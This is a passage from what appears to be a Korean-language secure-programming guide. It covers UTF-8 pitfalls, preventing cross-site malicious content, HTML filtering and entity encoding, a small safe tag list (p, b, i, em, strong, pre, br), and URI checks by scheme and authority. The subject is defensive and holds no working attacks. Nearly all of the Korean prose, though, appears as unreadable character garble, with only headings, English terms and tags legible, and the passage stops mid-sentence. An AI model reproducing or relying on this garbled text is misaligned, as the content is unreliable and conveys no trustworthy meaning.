³¢Ä¡Áö ¾Ê´Â´Ù¸é ÀÌ ½ÃÄö½º¸¦ ¼ö¿ëÇÏ´Â °ÍÀÌ ¾Æ¸¶µµ ÁÁÀº ½À°üÀÌ´Ù.

À̸¦ ´Ù·ç´Â °ÍÀº ¾î·Á¿ï ¼ö ÀÖ´Ù. º¯È¯À» ´Ù·ç±â À§ÇØ ftp://ftp.unicode.org/Public/PROGRAMS/CVTUTF/ConvertUTF.c ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Â Unicode ¿¡¼­ °³¹ßÇÑ C ·çƾÀ» »ìÆìº¼ ¼öµµ ÀÖ´Ù. ÀúÀÚ¿¡°Ô ÀÌ ·çƾÀÌ ¿ÀÇ ¼Ò½º ¼ÒÇÁÆ®¿þ¾îÀÎÁö ¸íÈ®ÇÏÁö´Â ¾Ê´Ù (¶óÀ̼¾½º¿¡ ¼öÁ¤°¡´É ¿©ºÎ°¡ ¸íÈ®È÷ ¾ð±ÞµÇ¾î ÀÖÁö ¾Ê´Ù) µû¶ó¼­ ÁÖÀÇÇØ¶ó.


4.8.5. UTF-8 °ü·Ã ÀïÁ¡

ÀÌ Àý¿¡¼­´Â UTF-8 À» ±â¼úÇߴµ¥ ÀÌ´Â °¡Àå ³Î¸® ¾²ÀÌ´Â UCS ¸ÖƼ¹ÙÀÌÆ® ÀÎÄÚµùÀ̱⠶§¹®ÀÌ´Ù. ÀÌ´Â ¸¹Àº ±¹Á¦È­ ÅØ½ºÆ® ó¸® ¹®Á¦¸¦ °£´ÜÇÏ°Ô ÇÑ´Ù. ±×·¯³ª UTF-8 ¸¸ÀÌ À¯ÀÏÇÑ ÀÎÄÚµùÀº ¾Æ´Ï¸ç UTF-8 °ú °°Àº Á¾·ùÀÇ ¹®Á¦Á¡À» °®°í °°Àº ¿¬À¯·Î ÀÎÇØ À¯È¿¼ºÀ» Æò°¡ÇØ¾ß ÇÏ´Â UTF-16 °ú UTF-7 °ú °°Àº ´Ù¸¥ ÀÎÄÚµùµµ ÀÖ´Ù.

´Ù¸¥ ¹®Á¦´Â ISO 10646/À¯´ÏÄڵ忡¼­ ÇѰ¡Áö ÀÌ»óÀÇ ¹æ¹ýÀ¸·Î ¾î¶² ±¸ (phrase) °¡ Ç¥ÇöµÉ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. ¿¹¸¦ µé¾î ¾î¶² °­Á¶µÈ ¹®ÀÚ´Â ¾Ç¼¾Æ®¸¦ °®´Â ÇϳªÀÇ ¹®ÀÚ ¹× ÀÏ·ÃÀÇ ¹®ÀÚ (±âº» ¹®ÀÚ + º°µµÀÇ ±¸¼º ¾Ç¼¾Æ®) ·Î Ç¥ÇöµÉ ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ µÎ ÇüÅ´ µ¿ÀÏÇÏ°Ô ³ªÅ¸³¯ ¼öµµ ÀÖ´Ù. ¶ÇÇÑ ³¢¿ö ³ÖÀ» ¼ö ÀÖ´Â zero-width °ø¹éÀ¸·Î ÀÌ´Â ¿Ü°ü»ó À¯»çÇÑ ¾ÆÀÌÅÛÀÌ ´Ù¸£°Ô »ý°¢µÇµµ·Ï ÇÑ´Ù. ÀÌ·¯ÇÑ ¼û°ÜÁø ÅØ½ºÆ®°¡ ÇÁ·Î±×·¥À» ¹æÇØÇÒ ¼ö ÀÖ´Â »óȲÀ» Á¶½ÉÇØ¶ó. ÀÌ´Â ÀϹÝÀûÀ¸·Î ÇØ°áÇϱ⠾î·Á¿î ¹®Á¦ÀÌ´Ù; ´ëºÎºÐÀÇ ÇÁ·Î±×·¥Àº ¿Ïº®È÷ Ưº°ÇÑ ½ÃÄö½º°¡ ³ªÅ¸³¯ ¼ö ÀÖ´Â ¹æ¹ýÀ» Ŭ¶óÀÌ¾ðÆ®°¡ ¾Ë ¼ö ÀÖ°Ô²û ¾ö°ÝÇÑ Á¦¾î¸¦ ÇÏÁö ¸øÇÑ´Ù (À̴ Ŭ¶óÀ̾ðÆ®ÀÇ ÆùÆ®, µð½ºÇ÷¹ÀÌ Æ¯¼º, ·ÎÄÉÀÏ µî¿¡ ÀÇÁ¸Çϱ⠶§¹®ÀÌ´Ù).


4.9. ÀԷ¿¡¼­ ±³Â÷ »çÀÌÆ®ÀÇ ¾ÇÀÇÀÖ´Â ÄÁÅÙÆ®¸¦ ¿¹¹æÇضó

¾î¶² ÇÁ·Î±×·¥Àº ½Å·ÚµÇÁö ¾ÊÀº ÇÑ »ç¿ëÀڷκÎÅÍ µ¥ÀÌŸ¸¦ ¹Þ¾Æ À̸¦ µÎ ¹øÂ° »ç¿ëÀÚ¿¡°Ô ³Ñ°ÜÁִµ¥ ±× ÈÄ µÎ ¹øÂ° »ç¿ëÀÚÀÇ ¾ÖÇø®ÄÉÀ̼ÇÀº µÎ ¹øÂ° »ç¿ëÀÚ¿¡°Ô ÇØ·Î¿î ¹æ½ÄÀ¸·Î ±× µ¥ÀÌŸ¸¦ ó¸®ÇÒ ¼öµµ ÀÖ´Ù. À̴ ƯÈ÷ À¥ ¾ÖÇø®ÄÉÀ̼ǿ¡ ÀϹÝÀûÀÎ ¹®Á¦·Î ``cross-site malicious content" ¶ó°í ºÎ¸¦ °ÍÀÌ´Ù. ¿ä¾àÇϸé ÀԷ¿¡ ´ëÇÑ °Ë»ç, ÇÊÅ͸µ ¶Ç´Â ÀÎÄÚµùÀ» ÇÑ ÈÄ À̸¦ ¹Þ¾Æµé¿©¾ß ÇÑ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 6.13절 À» º¸¶ó.

±âº»ÀûÀ¸·Î ÀÌ´Â ¸ðµç À¥ ¾ÖÇø®ÄÉÀÌ¼Ç ÀÔ·ÂÀÌ (ÀÌ ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Â ¹®ÀÚµéÀÌ Á¦°ÅµÇµµ·Ï) ÇÊÅ͸µ, (ÀÌ ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Â ¹®ÀÚµéÀÌ ¹®Á¦¸¦ ¿¹¹æÇÏ´Â ¹æ½ÄÀ¸·Î ÀÎÄÚµåµÇµµ·Ï) ÀÎÄÚµù ¶Ç´Â (´ÜÁö "¾ÈÀüÇÑ" µ¥ÀÌŸ¸¸ÀÌ ¸ñÀûÁö¿¡ µµ´ÞÇÔÀ» º¸ÁõÇϱâ À§ÇØ) À¯È¿È­µÇ¾î¾ß ÇÔÀ» ÀǹÌÇÑ´Ù. ÇÊÅ͸µ°ú À¯È¿È­´Â ´ë°³ ÀԷ¿¡¼­ ÇàÇØÁ®¾ß ÇÏÁö¸¸ ÀÎÄÚµùÀº ÀÔ·Â ¶Ç´Â Ãâ·Â½Ã ÇàÇØÁú ¼ö ÀÖ´Ù. µ¥ÀÌŸ¸¦ ºÐ¼®¾øÀÌ ±×Àú Åë°ú½ÃŰ·Á¸é ¾Æ¸¶µµ ÀԷ½à µ¥ÀÌŸ¸¦ ÀÎÄÚµùÇÏ´Â °ÍÀÌ ´õ¿í ÁÁÁö¸¸ (ÀÌ °æ¿ì´Â ÀØÁö ¾ÊÀ» °ÍÀÌ´Ù) µ¥ÀÌŸ¸¦ ó¸®ÇÑ´Ù¸é Ãâ·Â½Ã ÀÎÄÚµù¿¡ ´ëÇØ¼­´Â ³íÀǵéÀÌ ÀÖ´Ù.


4.10. ´Ù½Ã º¸³»Áú ¼öµµ ÀÖ´Â HTML/URIs ¸¦ ÇÊÅ͸µÇضó

Cross-site malicious content ¸¦ ¿¹¹æÇØ¾ß ÇÏ´Â ÇѰ¡Áö Ưº°ÇÑ °æ¿ì´Â ÇÑ »ç¿ëÀڷκÎÅÍ HTML ¶Ç´Â XHTML À» ¹Þ¾Æ À̸¦ ´Ù¸¥ »ç¿ëÀÚ¿¡°Ô Àü´ÞÇϵµ·Ï ¼³°èµÈ À¥ ¾ÖÇø®ÄÉÀ̼ÇÀÌ´Ù (ÀÌ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 6.13절 À» º¸¶ó). ´ÙÀ½ ÇϺΠÀýÀº ÀÌ·¯ÇÑ Æ¯Á¤ Á¾·ùÀÇ ÀÔ·ÂÀ» ÇÊÅ͸µÇÏ´Â °ÍÀÌ °øÅë ¿ä±¸»çÇ×À̱⠶§¹®¿¡ ÀÌ¿¡ ´ëÇØ ³íÀÇÇÑ´Ù.


4.10.1. ¸î¸î HTML µ¥ÀÌŸ¸¦ Á¦°Å ¹× ±ÝÁöÇØ¶ó

¸ðµç °¡´ÉÇÑ (X)HTML űװ¡ ¾î¶² °ÍÀÌ¶óµµ ¿µÇâÀ» ³¢Ä¥ ¼ö ¾øµµ·Ï À̸¦ Á¦°ÅÇÏ´Â °ÍÀÌ °¡Àå ¾ÈÀüÇѵ¥ ÀÌÀÇ Á¦°Å´Â ºñ±³Àû ½±´Ù. À§¿¡¼­ ¾ð±ÞÇßµíÀÌ ÇÕ¹ýÀûÀÎ ¹®ÀÚ ¸ñ·ÏÀ» È®ÀÎÇØ¼­ ¸ñ·Ï¿¡ ¾ø´Â ±×·¯ÇÑ ¹®ÀÚµéÀ» °ÅÀý ¶Ç´Â Á¦°ÅÇØ¾ß ÇÑ´Ù. ÀÌ ÇÊÅÍ¿¡¼­ ÇÕ¹ýÀûÀÎ ¹®ÀÚ ¸ñ·Ï¿¡ ÀÖ´Â ´ÙÀ½ ¹®ÀÚ´Â ´Ù¸¸ Æ÷ÇÔ½ÃŰÁö ¸¶¶ó: ``<", ``>" ¿Í ``&" (¼Ó¼º¿¡ »ç¿ëµÈ´Ù¸é ÀÌÁß ÀοëºÎÈ£ ``quot;"). ºê¶ó¿ìÀú°¡ HTML ½ºÆå¿¡ µû¶ó ÀÛµ¿ÇÑ´Ù¸é ``>" ´Â Á¦°ÅµÉ ÇÊ¿ä´Â ¾øÁö¸¸ ½ÇÁ¦·Î´Â Á¦°ÅµÇ¾î¾ß ÇÑ´Ù. ÀÌ´Â ¾î¶² ºê¶ó¿ìÀú´Â ÆäÀÌÁö ÀúÀÚ°¡ ½ÇÁ¦·Î ½ÃÀÛ ``<" ű׸¦ ³õ¾Æ ``µµ¿òÀÌ µÇµµ·Ï" Çϳª¸¦ ³¢¿ö³Ö¾ú´Ù°í °¡Á¤Çϱ⠶§¹®À¸·Î °ø°ÝÀÚ´Â ÀÌ µ¿ÀÛÀ» ¾Ç¿ëÇÏ¿© ¹Ù¶÷Á÷ÇÏÁö ¸øÇÑ ``<" ¸¦ ¸¸µé±â À§ÇØ ``>" ¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù.

º¸Åë HTML Àü¼Û¿¡ »ç¿ëµÇ´Â ¹®ÀÚ¼ÂÀº ISO-8859-1 (±¹Á¦È­ ÅØ½ºÆ®¸¦ º¸³¾ ¶§¿¡µµ) ÀÌ¸ç µû¶ó¼­ ÇÊÅÍ´Â ¶ÇÇÑ ´ëºÎºÐÀÇ Á¦¾î ¹®ÀÚ (°³Çà°ú ÅÇÀº ¹«¹æÇÏ´Ù) ¹× °íÂ÷ (high-order) ºñÆ®°¡ ¼³Á¤µÇ¾î ÀÖ´Â ¹®ÀÚ¸¦ Á¦°ÅÇØ¾ß ÇÑ´Ù.

ÀÌ·¯ÇÑ Á¢±Ù¹æ¹ýÀÇ ¹®Á¦Á¡Àº ½ÇÁ¦·Î »ç¿ëÀÚ¸¦ ³î¶ó°Ô ÇÒ ¼ö ÀÖ´Ù´Â °ÍÀ¸·Î ¸ðµç ±¹Á¦È­ ÅØ½ºÆ®°¡ ¸»¾øÀÌ Á¦°ÅµÈ´Ù¸é À̸¦ ÀûÀº »ç¶÷Àº ´çȤ½º·¯¿ï °ÍÀÌ´Ù. ¹«È¿ÇÑ ¹®ÀÚ°¡ °æ°í¾øÀÌ Á¶¿ëÈ÷ Á¦°ÅµÈ´Ù¸é ±× µ¥ÀÌŸ´Â µ¹ÀÌų ¼ö ¾øÀÌ ºÐ½ÇµÇ¾î ÃßÈÄ ´Ù½Ã ¾òÀ» ¼ö ¾øÀ» °ÍÀÌ´Ù. ÇѰ¡Áö ´ë¾ÈÀº ±×·¯ÇÑ ¹®ÀÚ¸¦ ±ÝÁöÇÏ¿© ÀÌ ¹®ÀÚ¸¦ »ç¿ëÇÏ·Á°í ÇÏ´Â »ç¿ëÀÚ¿¡°Ô ¿¡·¯ ¸Þ¼¼Áö¸¦ µÇµ¹·Á º¸³»´Â °ÍÀÌ´Ù. ÀÌ´Â Àû¾îµµ »ç¿ëÀÚ¿¡°Ô °æ°í¸¦ ÇÏÁö¸¸ »ç¿ëÀÚµéÀÌ Ã£´Â ±â´É¼ºÀ» ÁÖÁö´Â ¾Ê´Â´Ù. ´Ù¸¥ ´ë¾ÈÀº ÀÌ µ¥ÀÌŸ¸¦ ÀÎÄÚµù ¶Ç´Â À¯È¿È­ÇÏ´Â °ÍÀÌ´Ù.


4.10.2. HTML µ¥ÀÌŸ ÀÎÄÚµù

°ÅÀÇ ¾ÈÀüÇÑ ´ë¾ÈÀº °áÁ¤ÀûÀÎ ¹®ÀÚ¸¦ º¯È¯½ÃÄÑ À̵éÀÌ HTML ¿¡¼­ Åë»óÀûÀÎ Àǹ̸¦ °¡Áú ¼ö ¾øµµ·Ï ÇÏ´Â °ÍÀÌ´Ù. ÀÌ´Â ¸ðµç "<", ">" ¿Í "&" ¸¦ °¢°¢ "&lt;", "&gt;" ¿Í "&amp;" ·Î º¯È¯½ÃÅ´À¸·Î½á ÇàÇØÁú ¼ö ÀÖ´Ù. ÀÓÀÇÀÇ ±¹Á¦È­ ¹®ÀÚ´Â "&#value;" Æ÷¸ËÀ» ÀÌ¿ëÇÏ¿© Latin-1 À¸·Î ÀÎÄÚµùµÉ ¼ö ÀÖ´Ù - ¸¶Áö¸·ÀÇ ¼¼¹ÌÄÝ·ÐÀ» ÀØÁö ¸¶¶ó. ±¹Á¦È­ ¹®ÀÚ¸¦ ÀÎÄÚµùÇÑ´Ù´Â °ÍÀº ¹°·Ð ÀÔ·Â ÀÎÄÚµùÀÌ ¹«¾ùÀÎÁö¸¦ ¾Ë¾Æ¾ß ÇÔÀ» ÀǹÌÇÑ´Ù.

¿©±â¼­ ÇѰ¡Áö °¡´ÉÇÑ À§ÇèÀº ÀÌ·¯ÇÑ ÀÎÄÚµùÀÌ ¿ì¿¬È÷ µÎ¹ø ÇØ¼®µÈ´Ù¸é °ø°Ý´çÇϱ⠽¬¿ï °ÍÀ̶ó´Â °ÍÀÌ´Ù. ±×·¯³ª Àû¾îµµ ÀÌ Á¢±Ù ¹æ¹ýÀº ÃßÈÄ »ç¿ëÀÚ¿¡°Ô ÀÔ·ÂÀÇ "Àǵµ" ¸¦ º¼ ¼ö ÀÖµµ·Ï Çã¿ëÇÑ´Ù.


4.10.3. HTML µ¥ÀÌŸ È®ÀÎ

¾î¶² ¾ÖÇø®ÄÉÀ̼ÇÀÌ ¿©ÇÏÆ° ÀÛµ¿Çϱâ À§Çؼ­´Â Á¦ »ïÀڷκÎÅÍ HTML À» ¹Þ¾Æµé¿© À̸¦ »ç¿ëÀڵ鿡°Ô Àü¼ÛÇØ¾ß ÇÑ´Ù. ÁÖÀÇ - ÀÌ ½ÃÁ¡¿¡¼­ À§ÇèÇÑ °÷À» °È°íÀÖ´Ù ; ½ÇÁ¦·Î À̸¦ ÇàÇÏ±æ ¿øÇÏ´ÂÁö¸¦ È®½ÅÇØ¶ó. ÀÓÀÇÀÇ °÷¿¡¼­ ¿Â HTML À» ¹Þ¾ÆµéÀδٴ ¾ÆÀ̵ð¾î´Â À̸¦ ¿Ã¹Ù¸£°Ô ÀÌÇØÇÏ´Â °ÍÀÌ ¹«Ã´ ¾î·Æ±â ¶§¹®¿¡ »ó´çÇÑ º¸¾È °ß½ÀÀÚµé »çÀÌ¿¡¼­µµ ÀǰßÀÌ ºÐºÐÇÏ´Ù.

±×·¯³ª ¾ÖÇø®ÄÉÀ̼ÇÀÌ HTML À» ¹Þ¾Æµé¿©¾ß Çϰí ÀÌ·²¸¸ÇÑ °¡Ä¡°¡ ÀÖ´Ù°í ¹Ï´Â´Ù¸é Àû¾îµµ ¾ÈÀüÇÑ HTML ¸í·É ¸ñ·ÏÀ» È®ÀÎÇÏ¿© ´ÜÁö À̵鸸À» Çã¿ëÇØ¶ó.

´ÙÀ½Àº ¾ÖÇø®ÄÉÀÌ¼Ç (°Ô½ºÆ®ºÏ°ú °°Àº) ¿¡ À¯¿ëÇÒ ¼ö ÀÖ´Â ÃÖ¼ÒÇÑÀÇ ¾ÈÀüÇÑ HTML ű׼ÂÀÌ´Ù: <p> (paragraph), <b> (bold), <i> (italics), <em> (emphasis), <strong> (strong emphasis), <pre> (preformatted text), <br> (forced line break - ¸¶Ä§ űװ¡ ÇÊ¿äÇÏÁö ¾ÊÀ½À» ÁÖ¸ñÇØ¶ó) °ú À̵éÀÇ ¸¶Ä§ ű׵é.

´ÜÁö ÀûÀº ÀÏ·ÃÀÇ ``¾ÈÀüÇÑ" HTML ¸í·Éµé¸¸ÀÌ ¼ö¿ëµÊÀ» º¸ÁõÇÒ Çʿ䰡 ÀÖÀ»»Ó ¾Æ´Ï¶ó À̵éÀÌ ÀûÀýÈ÷ Æ÷°³Áö°í ´ÝÈûÀ» º¸ÁõÇÒ Çʿ䰡 ÀÖ´Ù. XML ¿¡¼­´Â À̸¦ ``well-formed" µ¥ÀÌŸ¶ó°í ÇÑ´Ù. Ç¥ÁØ HTML (<p> ¾Õ¿¡ Á¦°øµÇÁö ¾ÊÀº ³»Æ÷µÈ </p> ¸¦ Áö¿øÇÏ´Â °ÍÀº ¹«¹æÇÒ °ÍÀÌ´Ù) À» ¼ö¿ëÇÏ·Á¸é ¾à°£ÀÇ ¿¹¿Ü°¡ ÀÖÀ» ¼ö ÀÖÁö¸¸ ¿ÏÀüÈ÷ ÀϹÝÀûÀÎ HTML À» ¼ö¿ëÇÏ·Á°í ÇÏ´Â °ÍÀº ´ëºÎºÐÀÇ ¾ÖÇø®ÄÉÀ̼ǿ¡¼­ ÇÊ¿äÇÏÁö ¾Ê´Ù. ½Ç·Î HTML ´ë½Å XHTML À» °í¼öÇÏ·Á°í ÇÑ´Ù¸é well-formedness °¡ ¿ä±¸µÈ´Ù. ¶ÇÇÑ HTML ű״ ´ë¼Ò¹®ÀÚ ±¸ºÐÀ» ÇÏÁö ¾Ê´Âµ¥ ű״ ´ë¹®ÀÚ, ¼Ò¹®ÀÚ ¶Ç´Â À̵éÀÇ Á¶ÇÕÀÏ ¼ö ÀÖ´Ù. ±×·¯³ª XHTML À» ¼ö¿ëÇÏ·Á°í ÇÑ´Ù¸é ¸ðµç ű׸¦ ¼Ò¹®ÀڷΠǥÇöÇÒ Çʿ䰡 ÀÖ´Ù (XML Àº ´ë¼Ò¹®ÀÚ¸¦ ±¸ºÐÇϴµ¥ XML À» »ç¿ëÇÏ´Â XHTML Àº ¼Ò¹®ÀڷΠű׸¦ Ç¥ÇöÇØ¾ß ÇÑ´Ù).

´ÙÀ½Àº À̸¦ À§ÇØ ÀÓÀÇ·Î »ÌÀº ¾à°£ÀÇ ÆÁÀÌ´Ù. Á¦°øµÈ ÅØ½ºÆ®°¡ ¸ÞÀÎ »çÀÌÆ®·ÎºÎÅÍÀÇ (º¯Á¶¸¦ ¿¹¹æÇϱâ À§ÇØ) ÅØ½ºÆ®·Î À߸ø ÇØ¼®µÉ ¼ö ¾øµµ·Ï º¸Åë ¹«¾ùÀÌ HTML ÅØ½ºÆ®¿Í Çã¿ë ű׼ÂÀ» µÑ·¯½ÒÁö¸¦ ¼³°èÇØ¾ß ÇÑ´Ù. ¼Ó¼º ÇüÅÂ¿Í ±× °ªÀ» °Ë»çÇÏÁö ¾Ê´Â´Ù¸é ¸ðµç ¼Ó¼ºÀ» ¼ö¿ëÇÏÁö ¸¶¶ó; »ç¿ëÀڵ鿡°Ô ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Â ÀÚ¹Ù½ºÅ©¸³Æ®¿Í °°Àº °ÍÀ» Áö¿øÇÏ´Â ¸¹Àº ¼Ó¼ºµéÀÌ ÀÖ´Ù. À§ ¸ñ·Ï¿¡¼­ ÀúÀÚ°¡ ¾î¶°ÇÑ ¼Ó¼ºµµ Æ÷ÇÔÇÏÁö ¾Ê¾ÒÀ½À» ¾Ë¾ÆÂ÷·ÈÀ» °ÍÀÌ´Ù. ÀÌ´Â °¡Àå ¾ÈÀüÇÑ ¹æÄ§ÀÌ´Ù. ºÒ¾ÈÀüÇÑ Å±װ¡ »ç¿ëµÇ¸é µÉ ¼ö ÀÖ´Â ÇÑ °æ°í ¸Þ¼¼Áö¸¦ ÁÖ¾î¾ß ÇÏÁö¸¸ ½ÇÁ¦·Î ¾µ¸ðÀÖ´Â °ÍÀÌ ¾Æ´Ï¶ó¸é Áß´ëÇÑ ¹®ÀÚ¸¦ ÀÎÄÚµù (¿¹, "<" ´Â "&lt;" ·Î) ÇÔÀ¸·Î½á »ç¿ëÀÚ¸¦ ¾ÈÀüÇÏ°Ô º¸È£ÇÔ°ú µ¿½Ã¿¡ µ¥ÀÌŸ ¼Õ½ÇÀ» ¿¹¹æÇÑ´Ù.


4.10.4. ÇÏÀÌÆÛÅØ½ºÆ® ¸µÅ© (URIs/URLs) È®ÀÎ

ÁÖÀDZíÀº µ¶ÀÚ¶ó¸é ÀúÀÚ°¡ ÇÏÀÌÆÛÅØ½ºÆ® ¸µÅ© ÅÂ±× <a> ¸¦ ¾ÈÀüÇÑ HTML ű׷ΠÆ÷ÇÔÇÏÁö ¾Ê¾ÒÀ½À» ¾Ë¾ÆÂ÷·ÈÀ» °ÍÀÌ´Ù. ºÐ¸íÈ÷ <'a href="safe URI"> (ÇÏÀÌÆÛÅØ½ºÆ® ¸µÅ©) ¸¦ ¾ÈÀüÇÑ ¸ñ·Ï (¼Ó¼ºÀÇ ³»¿ëÀ» °Ë»çÇÏÁö ¾Ê¾Ò´Ù¸é ´Ù¸¥ ¸ðµç ¼Ó¼ºÀ» Çã¿ëÇÏÁö ¾ÊÀ¸¸ç) ¿¡ Ãß°¡ÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ¾ÖÇø®ÄÉÀ̼ÇÀÌ À̸¦ ÇÊ¿ä·Î ÇÑ´Ù¸é ±×·¸°Ô ÇØ¶ó. ±×·¯³ª Á¦»ïÀÚ¿¡°Ô ¸µÅ© »ý¼ºÀ» Çã¿ëÇÏ´Â °ÍÀº ¾ÈÀüÇÑ URI [1] ¸¦ Á¤ÀÇÇÏ´Â °ÍÀÌ ¸Å¿ì Èûµç °ÍÀ¸·Î ¾Ë·ÁÁ® Àֱ⠶§¹®¿¡ ºñ±³Àû ´ú ¾ÈÀüÇÏ´Ù. ¸¹Àº ºê¶ó¿ìÀú´Â »ç¿ëÀÚ¿¡°Ô À§ÇèÇÒ ¼ö ÀÖ´Â ¸ðµç Á¾·ùÀÇ URI ¸¦ ¹Þ¾ÆµéÀδÙ. ÀÌ ÀýÀº ´Ù¸¥ »ç¿ëÀÚ¿¡°Ô ´Ù½Ã °Ç³×ÁÙ Á¦»ïÀڷκÎÅÍÀÇ URI ¸¦ È®ÀÎÇÏ´Â ¹æ¹ýÀ» HTML ³»·Î º´ÇÕµÈ URI ¸¦ Æ÷ÇÔÇØ¼­ ³íÀÇÇÑ´Ù.

¿ì¼± ´Ù¾çÇÑ ½ºÆå¿¡ Á¤ÀÇµÈ °Í°ú °°ÀÌ URI ±¸¹®À» °£·«È÷ »ìÆìº¸ÀÚ. URIs ´Â Àý´ëÀû ¶Ç´Â »ó´ëÀûÀÏ ¼ö ÀÖ´Ù. Àý´ëÀû URI ÀÇ ±¸¹®Àº ´ÙÀ½°ú °°´Ù:

scheme://authority[path][?query][#fragment]

URI ´Â "http" ¿Í °°Àº ½ºÅ´ À̸§, "://" ¹®ÀÚ, "www.dwheeler.com" °ú °°Àº authority, µð·ºÅ丮 ¶Ç´Â ÆÄÀÏ À̸§°ú °°ÀÌ º¸ÀÌ´Â °æ·Î, ÁúÀÇ ¾ÕÀÇ ¹°À½Ç¥ ¹× ´Ü¶ô (fragment) ½Äº°ÀÚ ¾ÕÀÇ ÇØ½Ã ("#") ·Î ½ÃÀÛÇÑ´Ù. °¢°ýÈ£´Â ¼±ÅÃÀûÀÎ ºÎºÐÀ» µÑ·¯½Ñ´Ù - ¿¹·Î ¸¹Àº URIs ´Â ½ÇÁ¦·Î ÁúÀÇ ¶Ç´Â ´Ü¶ôÀ» Æ÷ÇÔÇÏÁö´Â ¾Ê´Â´Ù. ¸î¸î ½ºÅ´Àº µ¥ÀÌŸÁß ÀϺθ¦ Çã¿ëÇÏÁö ¾ÊÀ» ¼ö ÀÖÀ¸³ª (¿¹, °æ·Î, ÁúÀÇ ¶Ç´Â ´Ü¶ô) ¸¹Àº ½ºÅ´Àº ±× °íÀ¯ÀÇ Ãß°¡ÀûÀÎ ¿ä°ÇÀ» °®´Â´Ù. ¸¹Àº ½ºÅ´Àº authority Çʵ尡 ´ÙÀ½ ±¸¹®À» »ç¿ëÇÏ¿© ¼±ÅÃÀûÀÎ »ç¿ëÀÚ À̸§, ÆÐ½º¿öµå ¹× Æ÷Æ®¸¦ ½Äº°ÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù:

 [username[:password]@]host[:portnumber]

"host" ´Â À̸§ ("www.dwheeler.com") ¶Ç´Â IPv4 ¼ýÀÚ ÁÖ¼Ò (127.0.0.1) ÀÏ ¼ö ÀÖ´Ù. »ó´ëÀû URI ´Â ÇöÀç °´Ã¼¿¡ ´ëÇØ ÇÑ °´Ã¼¸¦ ÂüÁ¶ÇÏ¸ç ±¸¹®Àº ÆÄÀÏ À̸§°ú °°ÀÌ º¸ÀδÙ:

path[?query][#fragment]

´ëºÎºÐÀÇ URI ¿¡¼­ Çã¿ëµÈ ¹®ÀÚ´Â Á¦ÇÑµÈ ¼ö·Î µû¶ó¼­ ÀÌ ¹®Á¦¸¦ ÇÇÇϱâ À§Çؼ­´Â ´Ù¸¥ 8-ºñÆ® ¹®ÀÚ¸¦ %hh ¿Í °°ÀÌ URL ÀÎÄÚµåÇÒ ¼öµµ ÀÖ´Ù (hh ´Â 8ºñÆ® ¹®ÀÚÀÇ 16Áø¹ý °ªÀÌ´Ù). À¯È¿ÇÑ URIs ¿¡ ´ëÇÑ ´õ¿í ¼¼ºÎÀûÀÎ Á¤º¸´Â IEFT RFC 2396 ¹× °ü·Ã ½ºÆåÀ» º¸¶ó.

URIs ÀÇ ±¸¹®À» º¸¾Ò±â ¶§¹®¿¡ °¢ ºÎºÐÀÇ À§ÇèÀ» Á¶»çÇØº¸ÀÚ:

  • ½ºÅ´ (Scheme): ¸¹Àº ½ºÅ´µéÀº ¸Å¿ì À§ÇèÇÏ´Ù. ÀÚ¹Ù½ºÅ©¸³Æ® ½ºÅ´À» ³¢¿ö³Ö´Â °ÍÀ» ´©±º°¡¿¡°Ô Çã°¡ÇÏ´Â °ÍÀº ±×µé¿¡°Ô ÈçÇØºüÁø ¼­ºñ½º ºÎÀΰø°ÝÀ» Çã¿ëÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù (¿¹, µÇÇ®ÀÌÇÏ¿© À©µµ¿ì¸¦ »ý¼ºÇÔÀ¸·Î½á »ç¿ëÀÚ ¸Ó½ÅÀº µ¿°á (freeze) ¶Ç´Â ºÒ¾ÈÁ¤ÇÏ°Ô µÈ´Ù). ´õ¿í ½É°¢ÇÏ°Ô ÀÚ¹Ù½ºÅ©¸³Æ® ±¸Çö½Ã ¾Ë·ÁÁø Ãë¾àÇÑ ºÎºÐÀ» ¾Ç¿ëÇÒ ¼öµµ ÀÖÀ» °ÍÀÌ´Ù. "mailto:" ¿Í °°Àº ¾î¶² ½ºÅ´Àº ¸ÞÀϸµÀÌ ¿¹»óµÇÁö ¾ÊÀ» ¶§ ±ÍÂúÀº ½ºÅ´ÀÏ ¼ö ÀÖÀ¸¸ç ¾î¶² ½ºÅ´Àº Ŭ¶óÀÌ¾ðÆ® ¸Ó½Å¿¡¼­ ÃæºÐÈ÷ º¸¾ÈÀûÀÌÁö ¾ÊÀ» ¼öµµ ÀÖ´Ù. µû¶ó¼­ Çã¿ëµÈ ÀÏ·ÃÀÇ ½ºÅ´µéÀ» ¸î°¡Áö ¾ÈÀüÇÑ ½ºÅ´À¸·Î Á¦ÇÑÇÏ´Â °ÍÀÌ ÇÊ¿äÇÏ´Ù.

  • Authority: ¿øÄ¢ÀûÀ¸·Î »ç¿ëÀÚ ¸µÅ©¸¦ ¾ÈÀüÇÑ »çÀÌÆ®·Î Á¦ÇÑÇØ¾ß ÇÏÁö¸¸ À̸¦ ½ÇÁ¦ÀûÀ¸·Î ÇÏ´Â °ÍÀº ¾î·Æ´Ù. ±×·¯³ª ¿©·¯ºÐÀº »ç¿ëÀÚ À̸§, ÆÐ½º¿öµå ¹× Æ÷Æ® ³Ñ¹ö¿¡ ´ëÇØ¼­´Â À̸¦ È®½ÇÈ÷ ÇÒ ¼ö ÀÖ´Ù: À̸¦ ±ÝÁöÇØ¾ß ÇÑ´Ù. ƯÈ÷ ÆÐ½º¿öµå¿Í ÇÔ²² »ç¿ëÀÚ À̸§À» ¹¯´Â ½Ã½ºÅÛÀº ¾Æ¸¶µµ ´õ¿í Áß¿äÇÑ ¹«¾ùÀΰ¡¸¦ Áö۰í ÀÖ´Ù; ÀÌ´Â °ø°³ÀûÀ¸·Î °Ô½ÃµÇ´Â URIs ¿¡´Â °ÅÀÇ ÇÊ¿äÄ¡ ¾ÊÀ¸³ª »ç¿ëÀÚ¿¡°Ô ±×µéÀÌ Á¢±ÙÇÑ 